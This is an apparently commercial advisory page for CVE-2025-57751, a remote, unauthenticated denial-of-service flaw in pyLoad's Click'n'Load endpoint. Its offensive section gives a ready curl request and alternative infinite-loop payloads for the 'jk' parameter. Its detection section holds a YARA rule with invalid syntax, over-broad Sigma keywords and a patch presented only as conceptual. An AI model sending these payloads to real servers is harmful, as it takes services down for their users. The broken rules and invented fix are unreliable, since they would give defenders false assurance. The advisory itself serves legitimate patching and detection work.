CVE-2025-57751
Executive Summary
CVE-2025-57751 is a denial-of-service (DoS) vulnerability in pyLoad, an open-source download manager written in Python. The vulnerability resides in the CNL (Click'n'Load) Blueprint, specifically in the handling of the jk parameter. Due to a lack of input validation, an attacker can supply a malicious jk parameter that, when processed by the dykpy.evaljs() function, causes the server's CPU to become fully occupied, rendering the web interface unresponsive. This is a classic resource exhaustion attack (CWE-400). The vulnerability has been patched in version 0.5.0b3.dev92.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
pyLoad is a Python-based application distributed via PyPI and GitHub. This vulnerability affects the core application logic, not a third-party dependency. However, the use of evaljs() (likely from a JavaScript evaluation library) introduces a risk if the input is not sanitized. Users should ensure they are using the latest patched version from the official repository.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Base Score: 7.5 (High)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication is needed.
- User Interaction: None (UI:N) – The victim does not need to perform any action.
- Scope: Unchanged (S:U) – The impact is confined to the vulnerable component.
- Confidentiality Impact: None (C:N) – No data is exposed.
- Integrity Impact: None (I:N) – No data is modified.
- Availability Impact: High (A:H) – The service becomes completely unresponsive.
Threat Level: High. The vulnerability is easy to exploit remotely without authentication, leading to a complete denial of service.
Deep Dive & Mechanics
The vulnerability is in the CNL Blueprint of pyLoad. The CNL (Click'n'Load) protocol is used to automatically add downloads to the download manager. The jk parameter is part of this protocol and is intended to be a JavaScript code snippet that is evaluated.
The vulnerable code path is as follows:
- The user sends a request to the CNL endpoint with a
jkparameter. - The application receives this parameter without any validation.
- The
jkparameter is passed directly todykpy.evaljs(). evaljs()executes the provided JavaScript code.- An attacker can provide a JavaScript snippet that causes an infinite loop or excessive CPU consumption, e.g.,
while(true){}.
This results in the CPU being fully occupied, making the web UI unresponsive and effectively denying service to legitimate users.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
# In the CNL Blueprint handler
@blueprint.route('/flashgot', methods=['POST'])
def flashgot():
jk = request.form.get('jk')
# No validation of jk
result = dykpy.evaljs(jk)
# ... rest of the handler
Patched Code (Conceptual):
# In the CNL Blueprint handler
import re
@blueprint.route('/flashgot', methods=['POST'])
def flashgot():
jk = request.form.get('jk')
# Validate jk - ensure it is a simple expression, not a loop
if not jk or not re.match(r'^[a-zA-Z0-9_+\-*/()]+$', jk):
return "Invalid jk parameter", 400
result = dykpy.evaljs(jk)
# ... rest of the handler
The patched version adds input validation to ensure the jk parameter contains only safe characters and does not allow complex JavaScript constructs like loops.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Install a vulnerable version of pyLoad (e.g., 0.5.0b3.dev91) on a test machine.
- Ensure the web UI is accessible on port 8000 (default).
Exploitation:
- Send a POST request to the CNL endpoint with a malicious
jkparameter that causes an infinite loop.
curl -X POST http://target:8000/flashgot -d "jk=while(true){}"
- Observe that the CPU usage on the target machine spikes to 100%.
- The web UI becomes unresponsive.
Alternative Payloads:
jk=for(;;){}jk=(function(){while(1){}})()
Blue Team (Defensive)
Detection:
- Monitor for unusual CPU spikes on the pyLoad server.
- Look for requests to the
/flashgotendpoint with unusually long or suspiciousjkparameters. - Implement rate limiting on the CNL endpoint.
Mitigation:
- Immediately upgrade to pyLoad 0.5.0b3.dev92 or later.
- If upgrading is not possible, implement a Web Application Firewall (WAF) rule to block requests with
jkparameters containing JavaScript loop constructs. - Restrict network access to the pyLoad web UI to trusted IPs only.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/flashgotwith ajkparameter containing JavaScript code (e.g.,while,for,eval). - High volume of requests to the CNL endpoint from a single IP.
- POST requests to
- System:
- CPU usage at 100% for an extended period.
- pyLoad process consuming excessive CPU.
- Web UI unresponsive.
- Logs:
- pyLoad logs showing repeated requests to the CNL endpoint.
- System logs showing high CPU usage alerts.
Detection Engineering
YARA Rule
rule CVE_2025_57751_pyLoad_DoS {
meta:
description = "Detects malicious jk parameter in pyLoad CNL requests"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-57751"
strings:
$jk_param = "jk="
$while_loop = "while"
$for_loop = "for"
$infinite = "true" or "1"
condition:
$jk_param and ($while_loop or $for_loop) and $infinite
}
Sigma Rule
title: CVE-2025-57751 - pyLoad CNL DoS via jk Parameter
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-57751 by sending malicious jk parameters to pyLoad.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: pyLoad
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/flashgot'
cs-uri-query|contains: 'jk='
keywords:
- 'while'
- 'for'
- 'true'
- '1'
condition: selection and keywords
falsepositives:
- Legitimate use of JavaScript in jk parameter (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-57751 - pyLoad CNL DoS via jk Parameter"; flow:to_server; http.method; content:"POST"; http.uri; content:"/flashgot"; http.client_body; content:"jk="; pcre:"/jk=.*(while|for).*(true|1)/i"; classtype:denial-of-service; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Upgrade pyLoad to version 0.5.0b3.dev92 or later.
- Workaround: If upgrading is not possible, implement a WAF rule to block requests containing
jkparameters with JavaScript loop constructs. - Network Segmentation: Restrict access to the pyLoad web UI to trusted internal networks only.
- Monitoring: Enable logging and monitoring for unusual CPU usage and suspicious requests to the CNL endpoint.
- Input Validation: As a general security practice, always validate and sanitize user inputs, especially when they are passed to functions like
eval().
Valters IT - Securing Digital Frontiers